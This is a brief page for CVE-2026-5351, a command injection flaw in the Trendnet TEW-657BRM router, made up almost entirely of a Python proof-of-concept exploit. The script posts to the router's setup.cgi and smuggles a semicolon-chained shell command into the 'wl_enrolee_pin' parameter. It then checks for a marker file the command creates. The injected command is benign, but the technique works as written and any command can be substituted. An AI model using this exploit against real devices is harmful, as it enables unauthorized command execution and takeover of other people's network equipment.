CVE-2026-5351 Trendnet TEW-657BRM 命令注入漏洞

import requests # Target URL of the vulnerable device target_url = "http://192.168.10.1/setup.cgi" # Malicious payload injecting a command to create a file # Using semicolon to chain commands payload = "; touch /tmp/poc_success" # Data payload for the POST request # The vulnerability is in the 'wl_enrolee_pin' parameter post_data = { "wl_enrolee_pin": payload } try: # Send the malicious request response = requests.post(target_url, data=post_data) # Check response if response.status_code == 200: print("Payload sent successfully.") print("Check if /tmp/poc_success exists on the target.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")